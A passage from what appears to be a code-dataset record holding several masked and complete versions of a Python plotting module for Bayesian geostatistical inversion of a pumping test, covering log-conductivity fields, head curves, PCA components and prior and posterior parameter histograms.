ax = plt.subplot(2, 4, 2)\n ax.imshow(var.reshape(num_x, num_y).T, origin='lower', cmap=cmap, vmin=\n 0, vmax=16)\n rect = patches.Rectangle((start_loc_x, start_loc_y), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n rect = patches.Rectangle((start_loc_x + num_grid * 2, start_loc_y),\n num_grid, num_grid, linewidth=2, linestyle='dashed', edgecolor=\n 'black', facecolor='None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n\n\ndef visualize_mean_var_MC(m, start_loc, num_grid, vmin=-3, vmax=1, vmin_var\n =0, vmax_var=0.2, cmap='viridis', rect=False):\n mu = np.mean(m, axis=0)\n var = np.var(m, axis=0)\n plt.figure(figsize=[10, 4])\n ax = plt.subplot(1, 2, 1)\n ax.imshow(mu.reshape(num_x, num_y).T, origin='lower', cmap=cmap, vmin=\n vmin, vmax=vmax)\n if rect:\n rect = patches.Rectangle((start_loc, start_loc), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n well_location = [49, 49]\n ax.scatter(well_location[0], well_location[1], s=20, color='black',\n label='pumping well')\n direct_data_loc = [30, 70]\n ax.scatter(direct_data_loc[0], direct_data_loc[1], s=50, color='red',\n label='direct logK')\n ax = plt.subplot(1, 2, 2)\n ax.imshow(var.reshape(num_x, num_y).T, origin='lower', cmap='magma',\n vmin=vmin_var, vmax=vmax_var)\n if rect:\n rect = patches.Rectangle((start_loc, start_loc), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n\n\ndef visualize_ensemble_d(d, d_obs, ymin=None, ymax=11.5):\n plt.plot(np.arange(70) / 10, d, color='C0')\n plt.plot(np.arange(70) / 10, d_obs, color='C1', linewidth=2, label=\n 'observed data')\n plt.xlabel('Days')\n plt.ylabel('Head')\n plt.legend()\n plt.ylim(ymin, ymax)\n\n\ndef pos_pairplot(theta_pos, theta_name):\n sns.pairplot(pd.DataFrame(theta_pos.T, columns=theta_name), kind='hist')\n\n\ndef prior_pos_theta(theta, theta_pos, theta_true, theta_name):\n num_theta = theta.shape[1]\n plt.figure(figsize=[25, 10])\n for i in np.arange(num_theta):\n ax = plt.subplot(2, 3, i + 1)\n ax.hist(theta[:, i], density=True, bins=1, label='prior', alpha=0.7)\n y_, _, _ = ax.hist(theta_pos[i, :], density=True, bins=20, label=\n 'posterior', alpha=0.7)\n ax.vlines(x=theta_true[i], ymin=0, ymax=np.max(y_), linestyles='--',\n label='true', color='black')\n ax.legend()\n ax.set_title(theta_name[i])\n ax.set_ylabel('pdf')\n\n\ndef ML_dimension_reduction_vis(pred_train, y_train, pred_test, y_test,\n S_d_obs, theta_name):\n fig = plt.figure(figsize=[24, 10])\n num_theta = len(theta_name)\n for i in np.arange(num_theta):\n ax = plt.subplot(2, 3, i + 1)\n ax.plot(pred_train[:, i], y_train[:, i], '.', label='train')\n ax.plot(pred_test[:, i], y_test[:, i], '.', label='test')\n ax.vlines(x=S_d_obs[0, i], ymin=-1, ymax=1, linestyles='--', color=\n 'black', zorder=100)\n ax.plot([-1.2, 1.2], [-1.2, 1.2])\n ax.legend()\n ax.set_xlabel('S(d_' + str(i + 1) + ')')\n ax.set_ylabel(theta_name[i] + '_rescaled')\n ax.set_xlim(-1.2, 1.2)\n ax.set_ylim(-1.2, 1.2)\n\n\ndef history_plot(history):\n plt.plot(history.history['loss'])\n plt.plot(history.history['val_loss'])\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'validation'], loc='upper left')\n plt.show()\n", "step-3": "<mask token>\nplt.rcParams.update({'font.size': 15})\n<mask token>\n\n\ndef print_theta(theta, name='theta'):\n theta_pd = pd.DataFrame(theta.reshape(1, -1), index=[name], columns=[\n 'mean', 'variance', 'max_range', 'min_range', 'anisotropy',\n 'head_west'])\n print(theta_pd)\n\n\ndef visualize_d_2D(d):\n num_block = 3\n d_vis = np.zeros(num_m)\n d_vis[:] = np.nan\n for i in range(num_block * num_block * 2):\n d_vis[np.where(G[i, :] > 0)[0]] = d[i]\n d_vis = d_vis.reshape(num_x, num_y)\n return d_vis\n\n\ndef visualize_one_d(d):\n plt.plot(np.arange(70) / 10, d.reshape(70, 1)[:, 0], label='pumping well')\n plt.xlabel('Days')\n plt.ylabel('Head')\n plt.legend()\n\n\ndef visualize_one_m(m, vmin=-4, vmax=0, cmap='viridis', title=\n 'True spatial field, m'):\n fig, ax = plt.subplots(figsize=[6, 6])\n m_show = ax.imshow(m.T, origin='lower', cmap=cmap, vmin=vmin, vmax=vmax)\n ax.set_xticks([])\n ax.set_yticks([])\n if title:\n ax.set_title(title, fontsize=13)\n well_location = [49, 49]\n direct_data_loc = [30, 70]\n ax.scatter(well_location[0], well_location[1], s=100, color='black',\n label='indirect pumping well')\n ax.scatter(direct_data_loc[0], direct_data_loc[1], s=100, color='red',\n label='direct logK')\n ax.legend()\n fig.colorbar(m_show, ax=ax, shrink=0.6)\n\n\ndef print_theta_multiple(theta, name='theta', head=8):\n theta_pd = pd.DataFrame(theta, index=[('theta_' + str(i)) for i in np.\n arange(1, theta.shape[0] + 1)], columns=['mean', 'variance',\n 'max_range', 'min_range', 'anisotropy', 'head_west'])\n print(theta_pd.head(head))\n\n\ndef visualize_multiple_m(m, head=4, vmin=-4, vmax=0, cmap='viridis', theta=None\n ):\n plt.figure(figsize=[20, 8])\n for i in np.arange(head):\n ax = plt.subplot(1, 4, i + 1)\n ax.imshow(m[i, :, :].T, origin='lower', cmap=cmap, vmin=vmin, vmax=vmax\n )\n ax.set_xticks([])\n ax.set_yticks([])\n well_location = [49, 49]\n direct_data_loc = [30, 70]\n ax.scatter(well_location[0], well_location[1], s=50, color='black',\n label='pumping well')\n ax.scatter(direct_data_loc[0], direct_data_loc[1], s=50, color=\n 'red', label='direct logK')\n if theta is not None:\n ax.set_title('θ = ' + str(tuple(np.round(theta[i, :], 1))))\n\n\ndef visualize_multiple_pc(m, PCA, head=8, vmin=-4, vmax=0, cmap='viridis',\n rect=False):\n plt.figure(figsize=[25, 10])\n for i in np.arange(head):\n ax = plt.subplot(1, 10, i + 1)\n ax.imshow(m[i, :].reshape(num_x, num_y).T, origin='lower', cmap=\n cmap, vmin=vmin, vmax=vmax)\n if rect:\n rect = patches.Rectangle((32, 32), 36, 36, linewidth=2,\n linestyle='dashed', edgecolor='black', facecolor='None')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n ax.set_title('PCA ' + str(i + 1) + ': ' + str(np.int(PCA[\n 'explained_variance'][i] * 100)) + '%')\n\n\ndef visualize_multiple_d(d, head=4):\n plt.figure(figsize=[25, 3])\n for i in np.arange(head):\n ax = plt.subplot(1, 4, i + 1)\n ax.plot(np.arange(70) / 10, d[:, i].reshape(70, 1)[:, 0], label=\n 'pumping well')\n ax.set_xlabel('Days')\n ax.set_ylabel('Head')\n\n\ndef colors_from_values(values, palette_name):\n normalized = (values - min(values)) / (max(values) - min(values))\n indices = np.round(normalized * (len(values) - 1)).astype(np.int32)\n palette = sns.color_palette(palette_name, len(values))\n return np.array(palette).take(indices, axis=0)\n\n\ndef visualize_mean_var(mu, covariance, vmin=20, vmax=40, cmap='viridis'):\n var = np.diag(covariance)\n plt.figure(figsize=[18, 4])\n ax = plt.subplot(2, 4, 1)\n ax.imshow(mu.reshape(num_x, num_y).T, origin='lower', cmap=cmap, vmin=\n vmin, vmax=vmax)\n rect = patches.Rectangle((start_loc_x, start_loc_y), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n rect = patches.Rectangle((start_loc_x + num_grid * 2, start_loc_y),\n num_grid, num_grid, linewidth=2, linestyle='dashed', edgecolor=\n 'black', facecolor='None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n ax = plt.subplot(2, 4, 2)\n ax.imshow(var.reshape(num_x, num_y).T, origin='lower', cmap=cmap, vmin=\n 0, vmax=16)\n rect = patches.Rectangle((start_loc_x, start_loc_y), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n rect = patches.Rectangle((start_loc_x + num_grid * 2, start_loc_y),\n num_grid, num_grid, linewidth=2, linestyle='dashed', edgecolor=\n 'black', facecolor='None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n\n\ndef visualize_mean_var_MC(m, start_loc, num_grid, vmin=-3, vmax=1, vmin_var\n =0, vmax_var=0.2, cmap='viridis', rect=False):\n mu = np.mean(m, axis=0)\n var = np.var(m, axis=0)\n plt.figure(figsize=[10, 4])\n ax = plt.subplot(1, 2, 1)\n ax.imshow(mu.reshape(num_x, num_y).T, origin='lower', cmap=cmap, vmin=\n vmin, vmax=vmax)\n if rect:\n rect = patches.Rectangle((start_loc, start_loc), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n well_location = [49, 49]\n ax.scatter(well_location[0], well_location[1], s=20, color='black',\n label='pumping well')\n direct_data_loc = [30, 70]\n ax.scatter(direct_data_loc[0], direct_data_loc[1], s=50, color='red',\n label='direct logK')\n ax = plt.subplot(1, 2, 2)\n ax.imshow(var.reshape(num_x, num_y).T, origin='lower', cmap='magma',\n vmin=vmin_var, vmax=vmax_var)\n if rect:\n rect = patches.Rectangle((start_loc, start_loc), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n\n\ndef visualize_ensemble_d(d, d_obs, ymin=None, ymax=11.5):\n plt.plot(np.arange(70) / 10, d, color='C0')\n plt.plot(np.arange(70) / 10, d_obs, color='C1', linewidth=2, label=\n 'observed data')\n plt.xlabel('Days')\n plt.ylabel('Head')\n plt.legend()\n plt.ylim(ymin, ymax)\n\n\ndef pos_pairplot(theta_pos, theta_name):\n sns.pairplot(pd.DataFrame(theta_pos.T, columns=theta_name), kind='hist')\n\n\ndef prior_pos_theta(theta, theta_pos, theta_true, theta_name):\n num_theta = theta.shape[1]\n plt.figure(figsize=[25, 10])\n for i in np.arange(num_theta):\n ax = plt.subplot(2, 3, i + 1)\n ax.hist(theta[:, i], density=True, bins=1, label='prior', alpha=0.7)\n y_, _, _ = ax.hist(theta_pos[i, :], density=True, bins=20, label=\n 'posterior', alpha=0.7)\n ax.vlines(x=theta_true[i], ymin=0, ymax=np.max(y_), linestyles='--',\n label='true', color='black')\n ax.legend()\n ax.set_title(theta_name[i])\n ax.set_ylabel('pdf')\n\n\ndef ML_dimension_reduction_vis(pred_train, y_train, pred_test, y_test,\n S_d_obs, theta_name):\n fig = plt.figure(figsize=[24, 10])\n num_theta = len(theta_name)\n for i in np.arange(num_theta):\n ax = plt.subplot(2, 3, i + 1)\n ax.plot(pred_train[:, i], y_train[:, i], '.', label='train')\n ax.plot(pred_test[:, i], y_test[:, i], '.', label='test')\n ax.vlines(x=S_d_obs[0, i], ymin=-1, ymax=1, linestyles='--', color=\n 'black', zorder=100)\n ax.plot([-1.2, 1.2], [-1.2, 1.2])\n ax.legend()\n ax.set_xlabel('S(d_' + str(i + 1) + ')')\n ax.set_ylabel(theta_name[i] + '_rescaled')\n ax.set_xlim(-1.2, 1.2)\n ax.set_ylim(-1.2, 1.2)\n\n\ndef history_plot(history):\n plt.plot(history.history['loss'])\n plt.plot(history.history['val_loss'])\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'validation'], loc='upper left')\n plt.show()\n", "step-4": "import numpy as np\nimport pandas as pd\nimport gstools as gs\nimport matplotlib.pyplot as plt\nfrom matplotlib import patches\nimport seaborn as sns\nplt.rcParams.update({'font.size': 15})\nimport os\npath = os.path.dirname(os.getcwd())\nsubpath = '/examples/case2_nonlinear_forward_pumping_test/'\nnum_prior_sample = 5000\nnum_x = 100\nnum_y = 100\n\n\ndef print_theta(theta, name='theta'):\n theta_pd = pd.DataFrame(theta.reshape(1, -1), index=[name], columns=[\n 'mean', 'variance', 'max_range', 'min_range', 'anisotropy',\n 'head_west'])\n print(theta_pd)\n\n\ndef visualize_d_2D(d):\n num_block = 3\n d_vis = np.zeros(num_m)\n d_vis[:] = np.nan\n for i in range(num_block * num_block * 2):\n d_vis[np.where(G[i, :] > 0)[0]] = d[i]\n d_vis = d_vis.reshape(num_x, num_y)\n return d_vis\n\n\ndef visualize_one_d(d):\n plt.plot(np.arange(70) / 10, d.reshape(70, 1)[:, 0], label='pumping well')\n plt.xlabel('Days')\n plt.ylabel('Head')\n plt.legend()\n\n\ndef visualize_one_m(m, vmin=-4, vmax=0, cmap='viridis', title=\n 'True spatial field, m'):\n fig, ax = plt.subplots(figsize=[6, 6])\n m_show = ax.imshow(m.T, origin='lower', cmap=cmap, vmin=vmin, vmax=vmax)\n ax.set_xticks([])\n ax.set_yticks([])\n if title:\n ax.set_title(title, fontsize=13)\n well_location = [49, 49]\n direct_data_loc = [30, 70]\n ax.scatter(well_location[0], well_location[1], s=100, color='black',\n label='indirect pumping well')\n ax.scatter(direct_data_loc[0], direct_data_loc[1], s=100, color='red',\n label='direct logK')\n ax.legend()\n fig.colorbar(m_show, ax=ax, shrink=0.6)\n\n\ndef print_theta_multiple(theta, name='theta', head=8):\n theta_pd = pd.DataFrame(theta, index=[('theta_' + str(i)) for i in np.\n arange(1, theta.shape[0] + 1)], columns=['mean', 'variance',\n 'max_range', 'min_range', 'anisotropy', 'head_west'])\n print(theta_pd.head(head))\n\n\ndef visualize_multiple_m(m, head=4, vmin=-4, vmax=0, cmap='viridis', theta=None\n ):\n plt.figure(figsize=[20, 8])\n for i in np.arange(head):\n ax = plt.subplot(1, 4, i + 1)\n ax.imshow(m[i, :, :].T, origin='lower', cmap=cmap, vmin=vmin, vmax=vmax\n )\n ax.set_xticks([])\n ax.set_yticks([])\n well_location = [49, 49]\n direct_data_loc = [30, 70]\n ax.scatter(well_location[0], well_location[1], s=50, color='black',\n label='pumping well')\n ax.scatter(direct_data_loc[0], direct_data_loc[1], s=50, color=\n 'red', label='direct logK')\n if theta is not None:\n ax.set_title('θ = ' + str(tuple(np.round(theta[i, :], 1))))\n\n\ndef visualize_multiple_pc(m, PCA, head=8, vmin=-4, vmax=0, cmap='viridis',\n rect=False):\n plt.figure(figsize=[25, 10])\n for i in np.arange(head):\n ax = plt.subplot(1, 10, i + 1)\n ax.imshow(m[i, :].reshape(num_x, num_y).T, origin='lower', cmap=\n cmap, vmin=vmin, vmax=vmax)\n if rect:\n rect = patches.Rectangle((32, 32), 36, 36, linewidth=2,\n linestyle='dashed', edgecolor='black', facecolor='None')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n ax.set_title('PCA ' + str(i + 1) + ': ' + str(np.int(PCA[\n 'explained_variance'][i] * 100)) + '%')\n\n\ndef visualize_multiple_d(d, head=4):\n plt.figure(figsize=[25, 3])\n for i in np.arange(head):\n ax = plt.subplot(1, 4, i + 1)\n ax.plot(np.arange(70) / 10, d[:, i].reshape(70, 1)[:, 0], label=\n 'pumping well')\n ax.set_xlabel('Days')\n ax.set_ylabel('Head')\n\n\ndef colors_from_values(values, palette_name):\n normalized = (values - min(values)) / (max(values) - min(values))\n indices = np.round(normalized * (len(values) - 1)).astype(np.int32)\n palette = sns.color_palette(palette_name, len(values))\n return np.array(palette).take(indices, axis=0)\n\n\ndef visualize_mean_var(mu, covariance, vmin=20, vmax=40, cmap='viridis'):\n var = np.diag(covariance)\n plt.figure(figsize=[18, 4])\n ax = plt.subplot(2, 4, 1)\n ax.imshow(mu.reshape(num_x, num_y).T, origin='lower', cmap=cmap, vmin=\n vmin, vmax=vmax)\n rect = patches.Rectangle((start_loc_x, start_loc_y), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n rect = patches.Rectangle((start_loc_x + num_grid * 2, start_loc_y),\n num_grid, num_grid, linewidth=2, linestyle='dashed', edgecolor=\n 'black', facecolor='None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n ax = plt.subplot(2, 4, 2)\n ax.imshow(var.reshape(num_x, num_y).T, origin='lower', cmap=cmap, vmin=\n 0, vmax=16)\n rect = patches.Rectangle((start_loc_x, start_loc_y), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n rect = patches.Rectangle((start_loc_x + num_grid * 2, start_loc_y),\n num_grid, num_grid, linewidth=2, linestyle='dashed', edgecolor=\n 'black', facecolor='None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n\n\ndef visualize_mean_var_MC(m, start_loc, num_grid, vmin=-3, vmax=1, vmin_var\n =0, vmax_var=0.2, cmap='viridis', rect=False):\n mu = np.mean(m, axis=0)\n var = np.var(m, axis=0)\n plt.figure(figsize=[10, 4])\n ax = plt.subplot(1, 2, 1)\n ax.imshow(mu.reshape(num_x, num_y).T, origin='lower', cmap=cmap, vmin=\n vmin, vmax=vmax)\n if rect:\n rect = patches.Rectangle((start_loc, start_loc), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n well_location = [49, 49]\n ax.scatter(well_location[0], well_location[1], s=20, color='black',\n label='pumping well')\n direct_data_loc = [30, 70]\n ax.scatter(direct_data_loc[0], direct_data_loc[1], s=50, color='red',\n label='direct logK')\n ax = plt.subplot(1, 2, 2)\n ax.imshow(var.reshape(num_x, num_y).T, origin='lower', cmap='magma',\n vmin=vmin_var, vmax=vmax_var)\n if rect:\n rect = patches.Rectangle((start_loc, start_loc), num_grid, num_grid,\n linewidth=2, linestyle='dashed', edgecolor='black', facecolor=\n 'None', label='pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n\n\ndef visualize_ensemble_d(d, d_obs, ymin=None, ymax=11.5):\n plt.plot(np.arange(70) / 10, d, color='C0')\n plt.plot(np.arange(70) / 10, d_obs, color='C1', linewidth=2, label=\n 'observed data')\n plt.xlabel('Days')\n plt.ylabel('Head')\n plt.legend()\n plt.ylim(ymin, ymax)\n\n\ndef pos_pairplot(theta_pos, theta_name):\n sns.pairplot(pd.DataFrame(theta_pos.T, columns=theta_name), kind='hist')\n\n\ndef prior_pos_theta(theta, theta_pos, theta_true, theta_name):\n num_theta = theta.shape[1]\n plt.figure(figsize=[25, 10])\n for i in np.arange(num_theta):\n ax = plt.subplot(2, 3, i + 1)\n ax.hist(theta[:, i], density=True, bins=1, label='prior', alpha=0.7)\n y_, _, _ = ax.hist(theta_pos[i, :], density=True, bins=20, label=\n 'posterior', alpha=0.7)\n ax.vlines(x=theta_true[i], ymin=0, ymax=np.max(y_), linestyles='--',\n label='true', color='black')\n ax.legend()\n ax.set_title(theta_name[i])\n ax.set_ylabel('pdf')\n\n\ndef ML_dimension_reduction_vis(pred_train, y_train, pred_test, y_test,\n S_d_obs, theta_name):\n fig = plt.figure(figsize=[24, 10])\n num_theta = len(theta_name)\n for i in np.arange(num_theta):\n ax = plt.subplot(2, 3, i + 1)\n ax.plot(pred_train[:, i], y_train[:, i], '.', label='train')\n ax.plot(pred_test[:, i], y_test[:, i], '.', label='test')\n ax.vlines(x=S_d_obs[0, i], ymin=-1, ymax=1, linestyles='--', color=\n 'black', zorder=100)\n ax.plot([-1.2, 1.2], [-1.2, 1.2])\n ax.legend()\n ax.set_xlabel('S(d_' + str(i + 1) + ')')\n ax.set_ylabel(theta_name[i] + '_rescaled')\n ax.set_xlim(-1.2, 1.2)\n ax.set_ylim(-1.2, 1.2)\n\n\ndef history_plot(history):\n plt.plot(history.history['loss'])\n plt.plot(history.history['val_loss'])\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'validation'], loc='upper left')\n plt.show()\n", "step-5": "# Author: Lijing Wang (lijing52@stanford.edu), 2021\n\nimport numpy as np\nimport pandas as pd\nimport gstools as gs\nimport matplotlib.pyplot as plt\nfrom matplotlib import patches\nimport seaborn as sns\nplt.rcParams.update({'font.size': 15})\n\nimport os\npath = os.path.dirname(os.getcwd()) \n\nsubpath = '/examples/case2_nonlinear_forward_pumping_test/'\n\nnum_prior_sample = 5000\nnum_x = 100\nnum_y = 100\n\ndef print_theta(theta, name = 'theta'):\n theta_pd = pd.DataFrame(theta.reshape(1,-1), index = [name], columns = ['mean','variance','max_range','min_range','anisotropy','head_west'])\n print(theta_pd)\n\n\ndef visualize_d_2D(d):\n num_block = 3\n d_vis = np.zeros(num_m)\n d_vis[:] = np.nan\n for i in range(num_block*num_block*2):\n d_vis[np.where(G[i,:]>0)[0]] = d[i]\n d_vis = d_vis.reshape(num_x,num_y)\n return d_vis\n\ndef visualize_one_d(d):\n plt.plot(np.arange(70)/10, d.reshape(70,1)[:,0],label = 'pumping well')\n plt.xlabel('Days')\n plt.ylabel('Head')\n plt.legend()\n\ndef visualize_one_m(m, vmin = -4, vmax = 0, cmap = 'viridis',title = 'True spatial field, m'):\n fig, ax = plt.subplots(figsize = [6,6])\n m_show = ax.imshow(m.T, origin = 'lower', cmap = cmap, vmin = vmin, vmax = vmax)\n ax.set_xticks([])\n ax.set_yticks([])\n if title:\n ax.set_title(title,fontsize = 13)\n \n well_location = [49,49]\n direct_data_loc = [30,70]\n ax.scatter(well_location[0],well_location[1],s = 100, color = 'black', label = 'indirect pumping well')\n ax.scatter(direct_data_loc[0],direct_data_loc[1],s = 100, color = 'red', label = 'direct logK')\n ax.legend()\n fig.colorbar(m_show, ax = ax, shrink = 0.6)\n\ndef print_theta_multiple(theta, name = 'theta',head = 8):\n theta_pd = pd.DataFrame(theta, index = ['theta_'+str(i) for i in np.arange(1,theta.shape[0]+1)], columns = ['mean','variance','max_range','min_range','anisotropy','head_west'])\n print(theta_pd.head(head))\n\ndef visualize_multiple_m(m, head = 4, vmin = -4, vmax = 0, cmap = 'viridis', theta = None):\n plt.figure(figsize = [20,8])\n for i in np.arange(head):\n ax = plt.subplot(1, 4, i+1)\n ax.imshow(m[i,:,:].T, origin = 'lower', cmap = cmap, vmin = vmin, vmax = vmax)\n ax.set_xticks([])\n ax.set_yticks([])\n well_location = [49,49]\n direct_data_loc = [30,70]\n ax.scatter(well_location[0],well_location[1],s = 50, color = 'black', label = 'pumping well')\n ax.scatter(direct_data_loc[0],direct_data_loc[1],s = 50, color = 'red', label = 'direct logK')\n if theta is not None: \n ax.set_title('\\u03B8 = '+str(tuple(np.round(theta[i,:],1))))\n\ndef visualize_multiple_pc(m, PCA, head = 8, vmin = -4, vmax = 0, cmap = 'viridis',rect = False):\n plt.figure(figsize = [25,10])\n for i in np.arange(head):\n ax = plt.subplot(1, 10, i+1)\n ax.imshow(m[i,:].reshape(num_x,num_y).T, origin = 'lower', cmap = cmap, vmin = vmin, vmax = vmax)\n if rect:\n rect = patches.Rectangle((32,32),36, 36, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n ax.set_title('PCA '+str(i+1)+': '+str(np.int(PCA['explained_variance'][i]*100))+'%')\n\ndef visualize_multiple_d(d, head = 4):\n plt.figure(figsize = [25,3])\n for i in np.arange(head):\n ax = plt.subplot(1, 4, i+1)\n ax.plot(np.arange(70)/10, d[:,i].reshape(70,1)[:,0],label = 'pumping well')\n #ax.plot(np.arange(70)/10, d[:,i].reshape(70,5)[:,1],label = 'obs well: SW')\n #ax.plot(np.arange(70)/10, d[:,i].reshape(70,5)[:,2],label = 'obs well: NE')\n ##ax.plot(np.arange(70)/10, d[:,i].reshape(70,5)[:,3],label = 'obs well: NW')\n #ax.plot(np.arange(70)/10, d[:,i].reshape(70,5)[:,4],label = 'obs well: SE')\n ax.set_xlabel('Days')\n ax.set_ylabel('Head')\n #ax.legend()\n\ndef colors_from_values(values, palette_name):\n # normalize the values to range [0, 1]\n normalized = (values - min(values)) / (max(values) - min(values))\n # convert to indices\n indices = np.round(normalized * (len(values) - 1)).astype(np.int32)\n # use the indices to get the colors\n palette = sns.color_palette(palette_name, len(values))\n return np.array(palette).take(indices, axis=0)\n\ndef visualize_mean_var(mu, covariance, vmin = 20, vmax = 40, cmap = 'viridis'):\n var = np.diag(covariance)\n plt.figure(figsize = [18,4])\n ax = plt.subplot(2, 4, 1)\n ax.imshow(mu.reshape(num_x,num_y).T, origin = 'lower', cmap = cmap, vmin = vmin, vmax = vmax)\n rect = patches.Rectangle((start_loc_x,start_loc_y),num_grid, num_grid, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None', label = 'pilot area')\n ax.add_patch(rect)\n rect = patches.Rectangle((start_loc_x+num_grid*2,start_loc_y),num_grid,num_grid, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None', label = 'pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n ax = plt.subplot(2, 4, 2)\n ax.imshow(var.reshape(num_x,num_y).T, origin = 'lower', cmap = cmap, vmin = 0, vmax = 16)\n rect = patches.Rectangle((start_loc_x,start_loc_y),num_grid, num_grid, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None', label = 'pilot area')\n ax.add_patch(rect)\n rect = patches.Rectangle((start_loc_x+num_grid*2,start_loc_y),num_grid,num_grid, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None', label = 'pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n\ndef visualize_mean_var_MC(m, start_loc, num_grid,vmin = -3, vmax = 1,vmin_var = 0, vmax_var = 0.2, cmap = 'viridis', rect = False):\n mu = np.mean(m,axis = 0)\n var = np.var(m,axis = 0)\n plt.figure(figsize = [10,4])\n ax = plt.subplot(1, 2, 1)\n ax.imshow(mu.reshape(num_x,num_y).T, origin = 'lower', cmap = cmap, vmin = vmin, vmax = vmax)\n if rect:\n rect = patches.Rectangle((start_loc,start_loc),num_grid, num_grid, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None', label = 'pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n well_location = [49,49]\n ax.scatter(well_location[0],well_location[1],s = 20, color = 'black', label = 'pumping well')\n direct_data_loc = [30,70]\n ax.scatter(direct_data_loc[0],direct_data_loc[1],s = 50, color = 'red', label = 'direct logK')\n\n ax = plt.subplot(1, 2, 2)\n ax.imshow(var.reshape(num_x,num_y).T, origin = 'lower', cmap = 'magma', vmin = vmin_var, vmax = vmax_var)\n if rect:\n rect = patches.Rectangle((start_loc,start_loc),num_grid, num_grid, linewidth=2,linestyle = 'dashed', edgecolor='black',facecolor='None', label = 'pilot area')\n ax.add_patch(rect)\n ax.set_xticks([])\n ax.set_yticks([])\n\ndef visualize_ensemble_d(d,d_obs,ymin = None,ymax = 11.5):\n plt.plot(np.arange(70)/10, d,color = 'C0')\n plt.plot(np.arange(70)/10, d_obs,color = 'C1',linewidth = 2,label = 'observed data')\n plt.xlabel('Days')\n plt.ylabel('Head')\n plt.legend()\n plt.ylim(ymin,ymax)\n\n# Visualization: updating theta\ndef pos_pairplot(theta_pos, theta_name):\n sns.pairplot(pd.DataFrame(theta_pos.T,columns = theta_name),kind=\"hist\")\n\ndef prior_pos_theta(theta, theta_pos, theta_true, theta_name):\n num_theta = theta.shape[1]\n plt.figure(figsize=[25,10])\n for i in np.arange(num_theta): \n ax = plt.subplot(2, 3, i+1)\n ax.hist(theta[:,i],density=True, bins = 1,label = 'prior',alpha = 0.7)\n y_, _, _ = ax.hist(theta_pos[i,:],density=True, bins = 20,label = 'posterior',alpha = 0.7)\n ax.vlines(x = theta_true[i], ymin = 0, ymax = np.max(y_),linestyles='--',label = 'true',color = 'black')\n ax.legend()\n ax.set_title(theta_name[i])\n ax.set_ylabel('pdf')\n\ndef ML_dimension_reduction_vis(pred_train, y_train, pred_test, y_test, S_d_obs, theta_name):\n fig = plt.figure(figsize=[24,10])\n num_theta = len(theta_name)\n for i in np.arange(num_theta): \n ax = plt.subplot(2, 3, i+1)\n ax.plot(pred_train[:,i], y_train[:,i],'.',label = 'train')\n ax.plot(pred_test[:,i], y_test[:,i],'.',label = 'test')\n ax.vlines(x = S_d_obs[0,i],ymin = -1, ymax = 1, linestyles='--',color = 'black',zorder = 100)\n ax.plot([-1.2,1.2],[-1.2,1.2])\n ax.legend()\n ax.set_xlabel('S(d_'+str(i+1)+')')\n ax.set_ylabel(theta_name[i]+'_rescaled')\n ax.set_xlim(-1.2,1.2)\n ax.set_ylim(-1.2,1.2)\n\ndef history_plot(history):\n # summarize history for loss\n plt.plot(history.history['loss'])\n plt.plot(history.history['val_loss'])\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'validation'], loc='upper left')\n plt.show()\n", "step-ids": [ 11, 13, 17, 19, 20 ] }
[ 11, 13, 17, 19, 20 ]
